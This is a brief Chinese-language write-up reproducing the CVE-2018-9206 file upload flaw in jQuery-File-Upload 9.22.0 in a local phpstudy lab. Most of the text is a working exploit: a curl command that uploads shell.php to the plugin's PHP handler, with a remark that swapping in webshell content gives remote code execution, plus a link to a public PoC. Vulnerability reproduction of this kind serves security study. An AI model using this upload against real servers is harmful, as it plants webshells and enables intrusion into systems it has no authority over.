jQuery-File-Upload 9.22.0 文件上传漏洞 jQuery-File-Upload 文件下载 https://github.com/blueimp/jQuery-File-Upload/tags 用 phpstudy 搭建环境 复现： 1、在本地建一个 shell.php 2、执行命令 curl -F "files=@shell.php" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php shell.php 成功上传到了服务器。 也可以用下面的 poc 也可以检测，只需要修改上传文件内容，就可以传 webshell https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206